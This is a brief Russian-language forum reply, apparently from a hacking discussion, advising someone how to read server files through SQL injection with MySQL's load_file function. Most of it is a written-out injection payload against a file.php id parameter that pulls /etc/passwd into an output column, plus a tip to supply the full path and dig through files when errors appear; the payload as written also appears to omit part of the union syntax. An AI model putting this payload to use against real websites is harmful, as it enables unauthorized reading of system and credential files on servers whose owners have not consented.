Ну можно, как сказали, через load_file('/'). Смотри пример: file.php?id=-1+1,2,load_file('/etc/passwd'),4,5--
3 - выводимое поле. Я просто привел пример. Если есть ошибка, то загоняешь весь путь к файлу и там рыщешь.